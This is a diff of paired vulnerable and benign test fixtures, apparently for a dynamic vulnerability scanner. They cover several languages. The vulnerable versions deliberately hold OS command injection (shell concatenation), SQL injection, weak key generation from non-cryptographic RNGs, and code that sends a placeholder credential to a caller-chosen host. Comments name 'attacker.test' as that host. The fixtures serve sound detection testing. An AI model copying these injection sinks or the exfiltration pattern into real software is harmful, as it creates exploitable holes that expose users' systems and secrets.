class UserService {
CommandRunner runner;
public:
explicit UserService(CommandRunner runner) : runner(runner) {}
void run(const std::string& input) {
runner.run(input);
}
};

11
tests/dynamic_fixtures/class_method/go/benign.go Normal file
View file

@ -0,0 +1,11 @@
// Phase 19 (Track M.1) — class-method benign control for Go.
package entry
import "os/exec"
type UserService struct{}
func (UserService) Run(input string) string {
out, _ := exec.Command("true", input).Output()
return string(out)
}

17
tests/dynamic_fixtures/class_method/go/vuln.go Normal file
View file

@ -0,0 +1,17 @@
// Phase 19 (Track M.1) — class-method vuln fixture for Go.
//
// UserService.Run accepts user input and passes it to `sh -c` so the
// shell interprets it. The harness compiles in a generated
// `nyx_auto_registry.go` that publishes `UserService{}` so reflection
// works without a hand-rolled registry in the fixture.
package entry
import "os/exec"
type UserService struct{}
func (UserService) Run(input string) string {
// SINK: tainted input → shell -c
out, _ := exec.Command("sh", "-c", "true "+input).Output()
return string(out)
}

32
tests/dynamic_fixtures/class_method/go_recursive_deps/benign.go Normal file
View file

@ -0,0 +1,32 @@
// Benign control for recursively populated Go struct dependencies.
package entry
import "strings"
type ShellRunner struct{}
func (ShellRunner) Run(command string) string {
return strings.ReplaceAll(command, "NYX_PWN", "")
}
type UserRepository struct {
Runner *ShellRunner
}
func (r UserRepository) Find(input string) string {
if r.Runner == nil {
return ""
}
return r.Runner.Run(input)
}
type UserService struct {
Repository *UserRepository
}
func (s UserService) Run(input string) string {
if s.Repository == nil {
return ""
}
return s.Repository.Find(input)
}

33
tests/dynamic_fixtures/class_method/go_recursive_deps/vuln.go Normal file
View file

@ -0,0 +1,33 @@
// Class-method fixture with recursively populated Go struct dependencies.
package entry
import "os/exec"
type ShellRunner struct{}
func (ShellRunner) Run(command string) string {
out, _ := exec.Command("sh", "-c", "true "+command).Output()
return string(out)
}
type UserRepository struct {
Runner *ShellRunner
}
func (r UserRepository) Find(input string) string {
if r.Runner == nil {
return ""
}
return r.Runner.Run(input)
}
type UserService struct {
Repository *UserRepository
}
func (s UserService) Run(input string) string {
if s.Repository == nil {
return ""
}
return s.Repository.Find(input)
}

16
tests/dynamic_fixtures/class_method/java/Benign.java Normal file
View file

@ -0,0 +1,16 @@
// Phase 19 (Track M.1) — class-method benign control for Java.
//
// The payload is passed as an argv element to true(1), so no shell parses or
// echoes marker bytes.
public class Benign {
public static class UserRepository {
public UserRepository() {}
public void findByName(String name) throws Exception {
Process p = new ProcessBuilder("/usr/bin/true", name)
.redirectErrorStream(true)
.start();
p.waitFor();
}
}
}

22
tests/dynamic_fixtures/class_method/java/Vuln.java Normal file
View file

@ -0,0 +1,22 @@
// Phase 19 (Track M.1) — class-method vuln fixture for Java.
//
// UserRepository.findByName concatenates user input into a shell command.
// The nested class has a default constructor so the ClassMethod harness can
// build the receiver reflectively.
import java.io.InputStream;
public class Vuln {
public static class UserRepository {
public UserRepository() {}
public void findByName(String name) throws Exception {
Process p = new ProcessBuilder("sh", "-c", "true " + name)
.redirectErrorStream(true)
.start();
try (InputStream in = p.getInputStream()) {
in.transferTo(System.out);
}
p.waitFor();
}
}
}

32
tests/dynamic_fixtures/class_method/java_recursive_deps/Benign.java Normal file
View file

@ -0,0 +1,32 @@
// Benign control for recursively constructed Java dependencies.
public class Benign {
public static class ShellRunner {
public String run(String command) {
return command.replace("NYX_PWN", "");
}
}
public static class UserRepository {
private final ShellRunner shellRunner;
public UserRepository(ShellRunner shellRunner) {
this.shellRunner = shellRunner;
}
public String find(String input) {
return shellRunner.run(input);
}
}
public static class UserService {
private final UserRepository userRepository;
public UserService(UserRepository userRepository) {
this.userRepository = userRepository;
}
public String run(String input) {
return userRepository.find(input);
}
}
}

39
tests/dynamic_fixtures/class_method/java_recursive_deps/Vuln.java Normal file
View file

@ -0,0 +1,39 @@
// Class-method fixture with recursively constructed Java dependencies.
import java.io.InputStream;
public class Vuln {
public static class ShellRunner {
public String run(String command) throws Exception {
Process p = new ProcessBuilder("sh", "-c", "true " + command)
.redirectErrorStream(true)
.start();
try (InputStream in = p.getInputStream()) {
return new String(in.readAllBytes());
}
}
}
public static class UserRepository {
private final ShellRunner shellRunner;
public UserRepository(ShellRunner shellRunner) {
this.shellRunner = shellRunner;
}
public String find(String input) throws Exception {
return shellRunner.run(input);
}
}
public static class UserService {
private final UserRepository userRepository;
public UserService(UserRepository userRepository) {
this.userRepository = userRepository;
}
public String run(String input) throws Exception {
return userRepository.find(input);
}
}
}

15
tests/dynamic_fixtures/class_method/javascript/benign.js Normal file
View file

@ -0,0 +1,15 @@
// Phase 19 (Track M.1) — class-method benign control for JavaScript.
//
// UserService.run routes the input through execFileSync with argv form so
// the shell never interprets the string or echoes marker bytes.
'use strict';
const { execFileSync } = require('child_process');
class UserService {
constructor() {}
run(input) {
return execFileSync('true', [input]).toString();
}
}
module.exports = { UserService };

16
tests/dynamic_fixtures/class_method/javascript/vuln.js Normal file
View file

@ -0,0 +1,16 @@
// Phase 19 (Track M.1) — class-method vuln fixture for JavaScript.
//
// UserService.run forwards a tainted string straight into child_process.exec,
// classic OS command injection. Default ctor — no stubbed deps needed.
'use strict';
const { execSync } = require('child_process');
class UserService {
constructor() {}
run(input) {
// SINK: untrusted input → shell
return execSync('true ' + input).toString();
}
}
module.exports = { UserService };

29
tests/dynamic_fixtures/class_method/javascript_recursive_deps/benign.js Normal file
View file

@ -0,0 +1,29 @@
'use strict';
class ShellRunner {
run(_command) {
return 'safe';
}
}
class UserRepository {
constructor(shellRunner) {
this.shellRunner = shellRunner;
}
find(input) {
return this.shellRunner.run(input);
}
}
class UserService {
constructor(userRepository) {
this.userRepository = userRepository;
}
run(input) {
return this.userRepository.find(input);
}
}
module.exports = { UserService, UserRepository, ShellRunner };

30
tests/dynamic_fixtures/class_method/javascript_recursive_deps/vuln.js Normal file
View file

@ -0,0 +1,30 @@
'use strict';
const { execSync } = require('child_process');
class ShellRunner {
run(command) {
return execSync('true ' + command).toString();
}
}
class UserRepository {
constructor(shellRunner) {
this.shellRunner = shellRunner;
}
find(input) {
return this.shellRunner.run(input);
}
}
class UserService {
constructor(userRepository) {
this.userRepository = userRepository;
}
run(input) {
return this.userRepository.find(input);
}
}
module.exports = { UserService, UserRepository, ShellRunner };

10
tests/dynamic_fixtures/class_method/php/benign.php Normal file
View file

@ -0,0 +1,10 @@
<?php
// Phase 19 (Track M.1) — class-method benign control for PHP.
class UserService {
public function __construct() {}
public function run($input) {
return shell_exec('true ' . escapeshellarg($input));
}
}

14
tests/dynamic_fixtures/class_method/php/vuln.php Normal file
View file

@ -0,0 +1,14 @@
<?php
// Phase 19 (Track M.1) — class-method vuln fixture for PHP.
//
// UserService::run concatenates user input into a shell command;
// default ctor, no stubbed deps needed.
class UserService {
public function __construct() {}
public function run($input) {
// SINK: tainted input → shell.
return shell_exec('true ' . $input);
}
}

38
tests/dynamic_fixtures/class_method/php_recursive_deps/benign.php Normal file
View file

@ -0,0 +1,38 @@
<?php
// Benign control for recursive typed ClassMethod dependencies.
class Repository {
private $dbConnection;
public function __construct($dbConnection) {
$this->dbConnection = $dbConnection;
}
public function run($payload) {
return 'ok';
}
}
class Service {
private Repository $repository;
public function __construct(Repository $repository) {
$this->repository = $repository;
}
public function run($payload) {
return $this->repository->run($payload);
}
}
class UserController {
private Service $service;
public function __construct(Service $service) {
$this->service = $service;
}
public function run($payload) {
return $this->service->run($payload);
}
}

38
tests/dynamic_fixtures/class_method/php_recursive_deps/vuln.php Normal file
View file

@ -0,0 +1,38 @@
<?php
// Class-method fixture with recursively constructed typed dependencies.
class Repository {
private $dbConnection;
public function __construct($dbConnection) {
$this->dbConnection = $dbConnection;
}
public function run($payload) {
return shell_exec('true ' . $payload);
}
}
class Service {
private Repository $repository;
public function __construct(Repository $repository) {
$this->repository = $repository;
}
public function run($payload) {
return $this->repository->run($payload);
}
}
class UserController {
private Service $service;
public function __construct(Service $service) {
$this->service = $service;
}
public function run($payload) {
return $this->service->run($payload);
}
}

20
tests/dynamic_fixtures/class_method/python/benign.py Normal file
View file

@ -0,0 +1,20 @@
"""Phase 19 (Track M.1) — class-method benign control for Python.
Same surface as `vuln.py` but uses parameterised SQL so user input
never concatenates into the query string.
"""
import sqlite3
class UserRepository:
def __init__(self):
self._db = sqlite3.connect(":memory:")
self._db.executescript(
"CREATE TABLE users (id INTEGER, name TEXT); "
"INSERT INTO users VALUES (1, 'alice');"
)
def find_by_name(self, name):
cur = self._db.cursor()
cur.execute("SELECT id FROM users WHERE name = ?", (name,))
return cur.fetchall()

24
tests/dynamic_fixtures/class_method/python/vuln.py Normal file
View file

@ -0,0 +1,24 @@
"""Phase 19 (Track M.1) — class-method vuln fixture for Python.
`UserRepository.find_by_name` accepts user input and builds a raw SQL
query, classic concatenation-driven SQL injection. The class has a
zero-arg constructor so the harness builds the receiver without
needing a stubbed dependency.
"""
import sqlite3
class UserRepository:
def __init__(self):
self._db = sqlite3.connect(":memory:")
self._db.executescript(
"CREATE TABLE users (id INTEGER, name TEXT); "
"INSERT INTO users VALUES (1, 'alice');"
)
def find_by_name(self, name):
cur = self._db.cursor()
# SINK: user input concatenated into the query
sql = "SELECT id FROM users WHERE name = '" + name + "'"
cur.execute(sql)
return cur.fetchall()

25
tests/dynamic_fixtures/class_method/python_recursive_deps/benign.py Normal file
View file

@ -0,0 +1,25 @@
"""Benign control for the recursive ClassMethod dependency fixture."""
class Repository:
def __init__(self, db_connection):
self._db = db_connection
def run(self, payload):
return "ok"
class Service:
def __init__(self, repository: Repository):
self._repository = repository
def run(self, payload):
return self._repository.run(payload)
class UserController:
def __init__(self, service: Service):
self._service = service
def run(self, payload):
return self._service.run(payload)

27
tests/dynamic_fixtures/class_method/python_recursive_deps/vuln.py Normal file
View file

@ -0,0 +1,27 @@
"""Class-method fixture with recursively constructed dependencies."""
import os
class Repository:
def __init__(self, db_connection):
self._db = db_connection
def run(self, payload):
os.system(payload)
class Service:
def __init__(self, repository: Repository):
self._repository = repository
def run(self, payload):
self._repository.run(payload)
class UserController:
def __init__(self, service: Service):
self._service = service
def run(self, payload):
self._service.run(payload)

29
tests/dynamic_fixtures/class_method/python_with_deps/vuln.py Normal file
View file

@ -0,0 +1,29 @@
"""Phase 19 (Track M.1) — class-method vuln with constructor deps.
`UserController.__init__` takes an HTTP client + a database connection
(controller → service → repository shape). The Phase 19 harness's
`_nyx_build_receiver` walks the ctor formals, stubs each with the
matching `Mock*` test double from `src/dynamic/stubs/mocks.rs`, and
invokes the sink method.
"""
import sqlite3
class UserController:
def __init__(self, http_client, db_connection):
# Phase 19 harness wires MockHttpClient + MockDatabaseConnection
# through these two formals so the ctor returns without I/O.
self._http = http_client
self._db = db_connection or sqlite3.connect(":memory:")
def search(self, query):
cur = self._db.cursor() if hasattr(self._db, "cursor") else None
if cur is None:
return None
# SINK: concatenated SQL
sql = "SELECT 1 FROM dual WHERE x = '" + query + "'"
try:
cur.execute(sql)
except Exception:
pass
return None

11
tests/dynamic_fixtures/class_method/ruby/benign.rb Normal file
View file

@ -0,0 +1,11 @@
# Phase 19 (Track M.1) — class-method benign control for Ruby.
require 'shellwords'
class UserService
def initialize
end
def run(input)
`true #{Shellwords.escape(input)}`
end
end

13
tests/dynamic_fixtures/class_method/ruby/vuln.rb Normal file
View file

@ -0,0 +1,13 @@
# Phase 19 (Track M.1) — class-method vuln fixture for Ruby.
#
# UserService#run pipes user input into a shell, classic OS command
# injection. Default `.new` ctor — no mock deps needed.
class UserService
def initialize
end
def run(input)
# SINK: tainted input → shell
`true #{input}`
end
end

26
tests/dynamic_fixtures/class_method/ruby_recursive_deps/benign.rb Normal file
View file

@ -0,0 +1,26 @@
# Benign control for recursively constructed Ruby dependencies.
class ShellRunner
def run(command)
command.gsub('NYX_PWN', '')
end
end
class UserRepository
def initialize(shell_runner)
@shell_runner = shell_runner
end
def find(input)
@shell_runner.run(input)
end
end
class UserService
def initialize(user_repository)
@user_repository = user_repository
end
def run(input)
@user_repository.find(input)
end
end

26
tests/dynamic_fixtures/class_method/ruby_recursive_deps/vuln.rb Normal file
View file

@ -0,0 +1,26 @@
# Class-method fixture with recursively constructed Ruby dependencies.
class ShellRunner
def run(command)
`true #{command}`
end
end
class UserRepository
def initialize(shell_runner)
@shell_runner = shell_runner
end
def find(input)
@shell_runner.run(input)
end
end
class UserService
def initialize(user_repository)
@user_repository = user_repository
end
def run(input)
@user_repository.find(input)
end
end

14
tests/dynamic_fixtures/class_method/rust/benign.rs Normal file
View file

@ -0,0 +1,14 @@
// Phase 19 (Track M.1) — class-method benign control for Rust.
#[derive(Default)]
pub struct UserService;
impl UserService {
pub fn run(&self, input: &str) -> String {
let out = std::process::Command::new("true")
.arg(input)
.output()
.expect("exec");
String::from_utf8_lossy(&out.stdout).into_owned()
}
}

21
tests/dynamic_fixtures/class_method/rust/vuln.rs Normal file
View file

@ -0,0 +1,21 @@
// Phase 19 (Track M.1) — class-method vuln fixture for Rust.
//
// `UserService::run` shells out with a concatenated `sh -c <input>`,
// classic OS command injection. Derives Default so the harness can
// build the receiver without manual stubbing.
#[derive(Default)]
pub struct UserService;
impl UserService {
pub fn run(&self, input: &str) -> String {
// SINK: tainted input → shell -c
let cmd = format!("true {}", input);
let out = std::process::Command::new("sh")
.arg("-c")
.arg(&cmd)
.output()
.expect("exec");
String::from_utf8_lossy(&out.stdout).into_owned()
}
}

23
tests/dynamic_fixtures/class_method/rust_recursive_deps/benign.rs Normal file
View file

@ -0,0 +1,23 @@
// Benign control for recursive Rust class-method receiver construction.
pub struct CommandRunner;
impl CommandRunner {
pub fn run(&self, input: &str) -> String {
let out = std::process::Command::new("true")
.arg(input)
.output()
.expect("exec");
String::from_utf8_lossy(&out.stdout).into_owned()
}
}
pub struct UserService {
pub runner: CommandRunner,
}
impl UserService {
pub fn run(&self, input: &str) -> String {
self.runner.run(input)
}
}

26
tests/dynamic_fixtures/class_method/rust_recursive_deps/vuln.rs Normal file
View file

@ -0,0 +1,26 @@
// Rust class-method fixture whose receiver has same-file dependencies
// but no Default or new() constructor.
pub struct CommandRunner;
impl CommandRunner {
pub fn run(&self, input: &str) -> String {
let cmd = format!("true {}", input);
let out = std::process::Command::new("sh")
.arg("-c")
.arg(&cmd)
.output()
.expect("exec");
String::from_utf8_lossy(&out.stdout).into_owned()
}
}
pub struct UserService {
pub runner: CommandRunner,
}
impl UserService {
pub fn run(&self, input: &str) -> String {
self.runner.run(input)
}
}

12
tests/dynamic_fixtures/class_method/typescript/benign.ts Normal file
View file

@ -0,0 +1,12 @@
// Phase 19 (Track M.1) — class-method benign control for TypeScript.
'use strict';
const { execFileSync } = require('child_process');
class UserService {
constructor() {}
run(input) {
return execFileSync('true', [input]).toString();
}
}
module.exports = { UserService };

17
tests/dynamic_fixtures/class_method/typescript/vuln.ts Normal file
View file

@ -0,0 +1,17 @@
// Phase 19 (Track M.1) — class-method vuln fixture for TypeScript.
//
// UserService.run forwards user input directly to a shell. The source
// stays CommonJS-compatible because the harness stages TS fixtures as
// entry.js for stock Node.
'use strict';
const { execSync } = require('child_process');
class UserService {
constructor() {}
run(input) {
// SINK: untrusted input flows into the shell
return execSync('true ' + input).toString();
}
}
module.exports = { UserService };

29
tests/dynamic_fixtures/class_method/typescript_recursive_deps/benign.ts Normal file
View file

@ -0,0 +1,29 @@
'use strict';
class ShellRunner {
run(_command) {
return 'safe';
}
}
class UserRepository {
constructor(shellRunner) {
this.shellRunner = shellRunner;
}
find(input) {
return this.shellRunner.run(input);
}
}
class UserService {
constructor(userRepository) {
this.userRepository = userRepository;
}
run(input) {
return this.userRepository.find(input);
}
}
module.exports = { UserService, UserRepository, ShellRunner };

30
tests/dynamic_fixtures/class_method/typescript_recursive_deps/vuln.ts Normal file
View file

@ -0,0 +1,30 @@
'use strict';
const { execSync } = require('child_process');
class ShellRunner {
run(command) {
return execSync('true ' + command).toString();
}
}
class UserRepository {
constructor(shellRunner) {
this.shellRunner = shellRunner;
}
find(input) {
return this.shellRunner.run(input);
}
}
class UserService {
constructor(userRepository) {
this.userRepository = userRepository;
}
run(input) {
return this.userRepository.find(input);
}
}
module.exports = { UserService, UserRepository, ShellRunner };

12
tests/dynamic_fixtures/cpp/free_fn/benign.cpp Normal file
View file

@ -0,0 +1,12 @@
// Phase 16 — free function with (const char *, size_t), benign.
#include <cstddef>
#include <cstdio>
#include <cstdlib>
void run(const char *payload, std::size_t len) {
(void)payload; (void)len;
std::printf("__NYX_SINK_HIT__\n");
std::fflush(stdout);
std::system("echo hello");
}

15
tests/dynamic_fixtures/cpp/free_fn/vuln.cpp Normal file
View file

@ -0,0 +1,15 @@
// Phase 16 — free function with (const char *, size_t), vulnerable.
// Cap: CODE_EXEC.
#include <cstddef>
#include <cstdio>
#include <cstdlib>
#include <string>
void run(const char *payload, std::size_t len) {
std::printf("__NYX_SINK_HIT__\n");
std::fflush(stdout);
if (!payload || len > 2048) return;
std::string cmd = std::string("echo hello ") + payload;
std::system(cmd.c_str());
}

14
tests/dynamic_fixtures/cpp/libfuzzer/benign.cpp Normal file
View file

@ -0,0 +1,14 @@
// Phase 16 — libFuzzer entry, benign.
#include <cstddef>
#include <cstdint>
#include <cstdio>
#include <cstdlib>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
(void)data; (void)size;
std::printf("__NYX_SINK_HIT__\n");
std::fflush(stdout);
std::system("echo hello");
return 0;
}

17
tests/dynamic_fixtures/cpp/libfuzzer/vuln.cpp Normal file
View file

@ -0,0 +1,17 @@
// Phase 16 — libFuzzer entry, vulnerable. Cap: CODE_EXEC.
#include <cstddef>
#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <string>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
std::printf("__NYX_SINK_HIT__\n");
std::fflush(stdout);
if (size == 0 || size > 2048) return 0;
std::string payload(reinterpret_cast<const char*>(data), size);
std::string cmd = std::string("echo hello ") + payload;
std::system(cmd.c_str());
return 0;
}

13
tests/dynamic_fixtures/cpp/main_argv/benign.cpp Normal file
View file

@ -0,0 +1,13 @@
// Phase 16 — main(argc, argv), benign.
// Shape marker: int main(int argc, char *argv[])
#include <cstdio>
#include <cstdlib>
int nyx_entry_main(int argc, char *argv[]) {
(void)argc; (void)argv;
std::printf("__NYX_SINK_HIT__\n");
std::fflush(stdout);
std::system("echo hello");
return 0;
}

18
tests/dynamic_fixtures/cpp/main_argv/vuln.cpp Normal file
View file

@ -0,0 +1,18 @@
// Phase 16 — main(argc, argv), vulnerable.
//
// Renamed away from `main` so the harness `main` symbol does not collide.
// Shape marker: int main(int argc, char *argv[])
// Cap: CODE_EXEC.
#include <cstdio>
#include <cstdlib>
#include <string>
int nyx_entry_main(int argc, char *argv[]) {
std::printf("__NYX_SINK_HIT__\n");
std::fflush(stdout);
if (argc < 2) return 0;
std::string cmd = std::string("echo hello ") + argv[argc - 1];
std::system(cmd.c_str());
return 0;
}

12
tests/dynamic_fixtures/crypto/go/benign.go Normal file
View file

@ -0,0 +1,12 @@
// Phase 11 (Track J.9) — Go CRYPTO benign control fixture.
//
// Uses crypto/rand.Read (a CSPRNG) for key derivation.
package benign
import "crypto/rand"
func Run(_ string) []byte {
buf := make([]byte, 32)
_, _ = rand.Read(buf)
return buf
}

27
tests/dynamic_fixtures/crypto/go/vuln.go Normal file
View file

@ -0,0 +1,27 @@
// Phase 11 (Track J.9) — Go CRYPTO vuln fixture.
//
// Models a config-driven crypto endpoint that picks the RNG based on
// the request payload — `*_WEAK` routes through math/rand.Intn (a
// non-CSPRNG, returning a 16-bit key) and `*_STRONG` routes through
// crypto/rand.Read (a CSPRNG, returning the leading 63 bits of an 8-
// byte read). This shape is needed by the differential runner: the
// vuln-payload attempt and the benign-control attempt both load the
// same fixture, and only the payload-routed weak branch trips the
// `WeakKeyEntropy` predicate.
package vuln
import (
crand "crypto/rand"
"encoding/binary"
mrand "math/rand"
"strings"
)
func Run(value string) int {
if strings.Contains(value, "STRONG") {
var buf [8]byte
_, _ = crand.Read(buf[:])
return int(binary.BigEndian.Uint64(buf[:]) >> 1)
}
return mrand.Intn(0x10000)
}

14
tests/dynamic_fixtures/crypto/java/benign.java Normal file
View file

@ -0,0 +1,14 @@
// Phase 11 (Track J.9) — Java CRYPTO benign control fixture.
//
// Uses java.security.SecureRandom (a CSPRNG) for key derivation, so
// the produced 256-bit key trivially exceeds the 16-bit weak budget.
import java.security.SecureRandom;
public class Benign {
public static byte[] run(String _unused) {
SecureRandom r = new SecureRandom();
byte[] key = new byte[32];
r.nextBytes(key);
return key;
}
}

26
tests/dynamic_fixtures/crypto/java/vuln.java Normal file
View file

@ -0,0 +1,26 @@
// Phase 11 (Track J.9) — Java CRYPTO vuln fixture.
//
// Models a config-driven crypto endpoint that picks the RNG based on
// the request payload — `*_WEAK` routes through `java.util.Random`
// (a non-CSPRNG, seeded from the payload hash, returning a 16-bit
// key) and `*_STRONG` routes through `java.security.SecureRandom`
// (a CSPRNG, returning 32 bytes). This shape is needed by the
// differential runner: the vuln-payload attempt and the benign-
// control attempt both load the same fixture, and only the payload-
// routed weak branch trips the `WeakKeyEntropy` predicate.
import java.util.Random;
import java.security.SecureRandom;
public class Vuln {
public static byte[] run(String value) {
if (value != null && value.contains("STRONG")) {
byte[] key = new byte[32];
new SecureRandom().nextBytes(key);
return key;
}
Random r = new Random(value == null ? 0L : (long) value.hashCode());
byte[] key = new byte[2];
r.nextBytes(key);
return key;
}
}

7
tests/dynamic_fixtures/crypto/php/benign.php Normal file
View file

@ -0,0 +1,7 @@
<?php
// Phase 11 (Track J.9) — PHP CRYPTO benign control fixture.
//
// Uses `random_bytes(32)` (a CSPRNG) for key derivation.
function run($_value) {
return random_bytes(32);
}

17
tests/dynamic_fixtures/crypto/php/vuln.php Normal file
View file

@ -0,0 +1,17 @@
<?php
// Phase 11 (Track J.9) — PHP CRYPTO vuln fixture.
//
// Models a config-driven crypto endpoint that picks the RNG based on
// the request payload — `*_WEAK` routes through `mt_rand(0, 0xFFFF)`
// (a non-CSPRNG) and `*_STRONG` routes through `random_bytes(32)`
// (a CSPRNG). This shape is needed by the differential runner: the
// vuln-payload attempt and the benign-control attempt both load the
// same fixture, and only the payload-routed weak branch trips the
// `WeakKeyEntropy` predicate.
function run($value) {
$s = is_string($value) ? $value : strval($value);
if (strpos($s, "STRONG") !== false) {
return random_bytes(32);
}
return mt_rand(0, 0xFFFF);
}

9
tests/dynamic_fixtures/crypto/python/benign.py Normal file
View file

@ -0,0 +1,9 @@
# Phase 11 (Track J.9) — Python CRYPTO benign control fixture.
#
# Uses `secrets.token_bytes(32)` (a CSPRNG) so the produced key
# trivially exceeds the weak budget.
import secrets
def run(_value):
return secrets.token_bytes(32)

23
tests/dynamic_fixtures/crypto/python/vuln.py Normal file
View file

@ -0,0 +1,23 @@
# Phase 11 (Track J.9) — Python CRYPTO vuln fixture.
#
# Models a config-driven crypto endpoint that picks the RNG based on
# the request payload — `*_WEAK` routes through `random.randint(0, 0xFFFF)`
# (a non-CSPRNG) and `*_STRONG` routes through `secrets.token_bytes(32)`
# (a CSPRNG). This shape is needed by the differential runner: the
# vuln-payload attempt and the benign-control attempt both load the same
# fixture, and only the payload-routed weak branch trips the
# `WeakKeyEntropy` predicate. Real-world analogue: a JWT-signing or
# session-token endpoint that exposes an `algorithm`/`key_strength`
# knob whose weak setting falls back to a non-CSPRNG seed.
import random
import secrets
def run(value):
if isinstance(value, (bytes, bytearray)):
value = value.decode("utf-8", "replace")
elif not isinstance(value, str):
value = str(value)
if "STRONG" in value:
return secrets.token_bytes(32)
return random.randint(0, 0xFFFF)

11
tests/dynamic_fixtures/crypto/rust/benign.rs Normal file
View file

@ -0,0 +1,11 @@
// Phase 11 (Track J.9) — Rust CRYPTO benign control fixture.
//
// Uses `rand::rngs::OsRng` (a CSPRNG) for key derivation.
use rand::rngs::OsRng;
use rand::RngCore;
pub fn run(_value: &str) -> [u8; 32] {
let mut key = [0u8; 32];
OsRng.fill_bytes(&mut key);
key
}

27
tests/dynamic_fixtures/crypto/rust/vuln.rs Normal file
View file

@ -0,0 +1,27 @@
// Phase 11 (Track J.9) — Rust CRYPTO vuln fixture.
//
// Models a config-driven crypto endpoint that picks the RNG based on
// the request payload — `*_WEAK` routes through `rand::thread_rng`
// truncated to 16 bits (a non-CSPRNG configuration) and `*_STRONG`
// routes through `rand::rngs::OsRng` (a CSPRNG). Both branches return
// `[u8; 8]` so the harness's `NyxKeyToInt` reducer treats them
// uniformly. The weak branch zero-pads the 16-bit value into the low
// two bytes, leaving `nyx_bytes_to_key_int` to read it back as a small
// big-endian `u64` that trips the `WeakKeyEntropy` predicate; the
// strong branch fills all eight bytes from the CSPRNG so the reduced
// `u64` overshoots the 16-bit budget.
use rand::Rng;
use rand::RngCore;
use rand::rngs::OsRng;
pub fn run(value: &str) -> [u8; 8] {
let mut key = [0u8; 8];
if value.contains("STRONG") {
OsRng.fill_bytes(&mut key);
} else {
let weak = rand::thread_rng().gen_range(0..=0xFFFFu16);
key[6] = (weak >> 8) as u8;
key[7] = (weak & 0xFF) as u8;
}
key
}

19
tests/dynamic_fixtures/data_exfil/go/benign.go Normal file
View file

@ -0,0 +1,19 @@
// Phase 11 (Track J.9) — Go DATA_EXFIL benign control fixture.
package benign
import (
"net/http"
"net/url"
)
var allowlist = map[string]struct{}{"127.0.0.1": {}, "localhost": {}}
func Run(host string) {
if _, ok := allowlist[host]; !ok {
return
}
secret := "alice-creds"
q := url.Values{"token": {secret}}
u := url.URL{Scheme: "http", Host: host, Path: "/exfil", RawQuery: q.Encode()}
_, _ = http.Get(u.String())
}

14
tests/dynamic_fixtures/data_exfil/go/vuln.go Normal file
View file

@ -0,0 +1,14 @@
// Phase 11 (Track J.9) — Go DATA_EXFIL vuln fixture.
package vuln
import (
"net/http"
"net/url"
)
func Run(host string) {
secret := "alice-creds"
q := url.Values{"token": {secret}}
u := url.URL{Scheme: "http", Host: host, Path: "/exfil", RawQuery: q.Encode()}
_, _ = http.Get(u.String())
}

21
tests/dynamic_fixtures/data_exfil/java/Benign.java Normal file
View file

@ -0,0 +1,21 @@
// Phase 11 (Track J.9) — Java DATA_EXFIL benign control fixture.
//
// Models a hardened outbound HTTP call that gates the destination host
// through a loopback allowlist before issuing the request. The harness
// reflectively invokes `run(payload)`; non-allowlist payloads (e.g.
// `attacker.test`) short-circuit before `NyxMockHttp.get(url)` so the
// captured-hosts list stays empty for the differential runner and no
// probe is emitted, clearing `OutboundHostNotIn` for the attacker
// payload. Loopback payloads (e.g. `127.0.0.1`) reach the helper but
// the captured host is inside the allowlist so the predicate stays
// clear there too.
import java.util.Set;
public class Benign {
private static final Set<String> ALLOWLIST = Set.of("127.0.0.1", "localhost");
public static void run(String host) throws Exception {
if (!ALLOWLIST.contains(host)) return;
NyxMockHttp.get("http://" + host + "/exfil?token=alice-creds");
}
}

17
tests/dynamic_fixtures/data_exfil/java/Vuln.java Normal file
View file

@ -0,0 +1,17 @@
// Phase 11 (Track J.9) — Java DATA_EXFIL vuln fixture.
//
// Models an unguarded outbound HTTP call that exfiltrates a static
// credential to an attacker-controlled host. Java has no stdlib
// monkey-patch hook for `HttpURLConnection`, so the fixture calls into
// the harness-supplied `NyxMockHttp.get(url)` helper. The helper
// parses the URL host and appends it to `NyxMockHttp.CAPTURED_HOSTS`
// without initiating real wire I/O; the harness drains the list after
// `run` returns and emits one `ProbeKind::OutboundNetwork { host }` per
// captured call. `OutboundHostNotIn` fires when the host falls outside
// the loopback allowlist.
public class Vuln {
public static void run(String host) throws Exception {
String secret = "alice-creds";
NyxMockHttp.get("http://" + host + "/exfil?token=" + secret);
}
}

17
tests/dynamic_fixtures/data_exfil/js/benign.js Normal file
View file

@ -0,0 +1,17 @@
// Phase 11 (Track J.9) — JavaScript DATA_EXFIL benign control fixture.
const http = require('http');
const ALLOWLIST = new Set(['127.0.0.1', 'localhost']);
function run(host) {
if (!ALLOWLIST.has(host)) return;
const secret = 'alice-creds';
const req = http.request({
host,
path: '/exfil?token=' + encodeURIComponent(secret),
method: 'POST',
});
req.end();
}
module.exports = { run };

14
tests/dynamic_fixtures/data_exfil/js/vuln.js Normal file
View file

@ -0,0 +1,14 @@
// Phase 11 (Track J.9) — JavaScript DATA_EXFIL vuln fixture.
const http = require('http');
function run(host) {
const secret = 'alice-creds';
const req = http.request({
host,
path: '/exfil?token=' + encodeURIComponent(secret),
method: 'POST',
});
req.end();
}
module.exports = { run };

8
tests/dynamic_fixtures/data_exfil/php/benign.php Normal file
View file

@ -0,0 +1,8 @@
<?php
// Phase 11 (Track J.9) — PHP DATA_EXFIL benign control fixture.
function run($host) {
if (!in_array($host, ["127.0.0.1", "localhost"], true)) return;
$secret = "alice-creds";
$url = "http://" . $host . "/exfil?token=" . urlencode($secret);
@file_get_contents($url);
}

Some files were not shown because too many files have changed in this diff Show more